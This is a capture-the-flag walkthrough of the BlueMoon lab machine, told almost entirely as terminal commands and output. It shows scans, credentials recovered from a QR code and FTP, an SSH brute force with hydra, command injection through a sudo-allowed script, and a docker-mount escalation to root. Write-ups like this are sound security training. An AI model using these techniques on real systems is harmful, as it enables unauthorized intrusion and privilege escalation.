```
❯ cat target -l python -p
# Nmap 7.95 scan initiated Fri Apr  4 11:05:22 2025 as: /usr/lib/nmap/nmap --privileged -p21,2
Nmap scan report for 10.0.2.77
Host is up (0.00018s latency).

PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
|   2048 2c:e2:63:78:bc:55:fe:f3:cb:09:a9:d8:26:2f:cb:d5 (RSA)
|   256 c4:c8:6b:48:92:25:a5:f7:00:9f:ab:b2:56:d5:ed:dc (ECDSA)
|_  256 a9:5b:39:a1:6e:05:91:0f:75:3c:88:0b:55:7c:a8:c2 (ED25519)
80/tcp open  http    Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: BlueMoon:2021
MAC Address: 08:00:27:78:91:BE (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Apr  4 11:05:29 2025 -- 1 IP address (1 host up) scanned in 7.68 seconds
```

```
❯ dirsearch -u http://10.0.2.77 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated a
  from pkg_resources import DistributionNotFound, VersionConflict

  _|. _ _  _  _  _ _|_    v0.4.3
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 220544

Output File: /home/kali/VulnHub/Bluemoon/reports/http_10.0.2.77/_25-04-04_11-13-08.txt

Target: http://10.0.2.77/

[11:13:08] Starting:
[11:19:01] 403 -  274B  - /server-status
[11:28:17] 200 -    1KB - /hidden_text

Task Completed
```

```
❯ gobuster dir -u http://10.0.2.77 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,txt,html,xml -t 200
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.0.2.77
[+] Method:                  GET
[+] Threads:                 200
[+] Wordlist:                /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              php,txt,html,xml
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.html               (Status: 403) [Size: 274]
/index.html          (Status: 200) [Size: 383]
Progress: 148084 / 1102800 (13.43%)[ERROR] Get "http://10.0.2.77/2370": context deadline exceeded (Client.Timeout exceeded while awaiting headers)
/.html               (Status: 403) [Size: 274]
Progress: 282627 / 1102800 (25.63%)[ERROR] Get "http://10.0.2.77/9399.html": context deadline exceeded (Client.Timeout exceeded while awaiting headers)
/server-status       (Status: 403) [Size: 274]
/hidden_text         (Status: 200) [Size: 1169]
```

```
❯ zbarimg QR_C0d3.png
QR-Code:#!/bin/bash

HOST=ip
USER=userftp
PASSWORD=ftpp@ssword

ftp -inv $HOST user $USER $PASSWORD
bye
EOF
scanned 1 barcode symbols from 1 images in 0 seconds
```

```
❯ ftp 10.0.2.77
Connected to 10.0.2.77.
220 (vsFTPd 3.0.3)
Name (10.0.2.77:kali): userftp
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
```

```
ftp> ls
229 Entering Extended Passive Mode (|||43686|)
150 Here comes the directory listing.
-rw-r--r--    1 0        0             147 Mar 08  2021 information.txt
-rw-r--r--    1 0        0             363 Mar 08  2021 p_lists.txt
226 Directory send OK.
ftp> get information.txt
local: information.txt remote: information.txt
229 Entering Extended Passive Mode (|||13355|)
150 Opening BINARY mode data connection for information.txt (147 bytes).
100% |*****************************************************************
226 Transfer complete.
147 bytes received in 00:00 (192.17 KiB/s)
ftp> get p_lists.txt
local: p_lists.txt remote: p_lists.txt
229 Entering Extended Passive Mode (|||46065|)
150 Opening BINARY mode data connection for p_lists.txt (363 bytes).
100% |*****************************************************************
226 Transfer complete.
363 bytes received in 00:00 (18.58 KiB/s)
```

```
❯ cat information.txt
       File: information.txt
   1
   2   Hello robin ...!
   3
   4       I'm Already Told You About Your Password Weekness. I will give a Password list. you May Choose Anyone of The Password.
   5
```

```
❯ cat p_lists.txt
       File: p_lists.txt
   1   h4ck3rp455wd
   2   4dm1n
   3   Pr0h4ck3r
   4   5cr1ptk1dd3
   5   pubgpr0pl4yer
   6   H34d5h00t3r
   7   p@ssw0rd
   8   @@d1dn0tf1nd
   9   J4ck_5p4rr0w
  10   c4pt10n_jack
  11   D0veC4m3r0n
  12   f1nnb4l0r
  13   r0manr3ing5
  14   s3thr0lin5
  15   Demonk1ng
  16   R4ndy0rton
  17   Big_sh0w
  18   j0hnc3na
  19   5tr0ngp@ssw0rd
  20   S4br1n4
  21   4nnlyn
  22   C4rp3nt3r
  23   K0fiKing5t0n
  24   chNAMPIN
  25   Herr0lins
  26   G0palT0p3r
  27   Log3shDriv3r
  28   k4rv3ndh4nh4ck3r
  29   P0nmuGunth0n
  30   Shank3rD3v
  31   KishorMilkV4n
  32   S4th15hR4cer
```

```
❯ hydra -l robin -P p_lists.txt ssh://10.0.2.77
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not
aws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-04
[WARNING] Many SSH configurations limit the number of parallel tasks,
[DATA] max 16 tasks per 1 server, overall 16 tasks, 32 login tries (l:
[DATA] attacking ssh://10.0.2.77:22/
[22][ssh] host: 10.0.2.77   login: robin   password: k4rv3ndh4nh4ck3r
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-04
```

```
robin@BlueMoon:~$ ls -la
total 36
drwxr-xr-x 4 robin robin 4096 Apr  4  2021 .
drwxr-xr-x 5 root  root  4096 Mar  8  2021 ..
-rw------- 1 robin robin   19 Apr  4  2021 .bash_history
-rw-r--r-- 1 robin robin  220 Mar  7  2021 .bash_logout
-rw-r--r-- 1 robin robin 3526 Mar  7  2021 .bashrc
drwxr-xr-x 3 robin robin 4096 Mar  7  2021 .local
-rw-r--r-- 1 robin robin  807 Mar  7  2021 .profile
drwxr-xr-x 2 robin robin 4096 Mar  8  2021 project
-rw-r--r-- 1 robin robin   69 Mar  7  2021 user1.txt
robin@BlueMoon:~$ cat user1.txt
You Gained User-1 Flag
```

```
❯ ssh robin@10.0.2.77          ==> Fl4g{u5er1r34ch3d5ucc355fully}
```

```
robin@BlueMoon:~/project$ cat /etc/passwd | grep bash
root:x:0:0:root:/root:/bin/bash
robin:x:1000:1000:robin,,,:/home/robin:/bin/bash
jerry:x:1002:1002::/home/jerry:/bin/bash
```

```
robin@BlueMoon:~/project$ sudo -l
Matching Defaults entries for robin on bluemoon:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User robin may run the following commands on bluemoon:
    (jerry) NOPASSWD: /home/robin/project/feedback.sh
```

```
robin@BlueMoon:~$ cd project/
robin@BlueMoon:~/project$ lls  s
feedback.sh
robin@BlueMoon:~/project$ export TERM=xterm
robin@BlueMoon:~/project$ cat feedback.sh
#!/bin/bash

clear
echo -e "Script For FeedBack\n"

read -p "Enter Your Name : " name
echo ""
read -p "Enter You FeedBack About This Target Machine : " feedback
echo ""
$feedback 2>/dev/null

echo -e "\nThanks For Your FeedBack...!\n"
```

```
robin@BlueMoon:~/project$ sudo -u jerry /home/robin/project/feedback.sh
Script For FeedBack

Enter Your Name : /bin/bash

Enter You FeedBack About This Target Machine : /bin/bash

id
uid=1002(jerry) gid=1002(jerry) groups=1002(jerry),114(docker)
```

```
pwd
/home/robin/project
cd /home/jerry
ls
user2.txt
cat user2.txt

You Found User-2 Flag

       ==> Fl4g{Y0ur34ch3du53r25uc355ful1y}

You Are Reached Near To Me... Try To Find

                              - Root
```

Binary	Functions
docker	Shell | File write | File read | SUID | Sudo

Shell

It can be used to break out from restricted environments by spawning an interactive system shell.

The resulting is a root shell.

```
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
```

```
jerry@BlueMoon:~$ docker run -v /:/mnt --rm -it alpine chroot /mnt sh
# id
uid=0(root) gid=0(root) groups=0(root),1(daemon),2(bin),3(sys),4(adm),6(disk),10(uucp),11,20(dialout),26(tape),27(sudo)
# whoami
root
```

```
# cat root.txt

==> Congratulations <==

You Reached Root...!

Root-Flag

     Fl4g{r00t-H4ckTh3P14n3t0nc34g41n}

Created By

        Kirthik - Karvendhan


instagram = ____kirthik____


!......Bye See You Again......!
```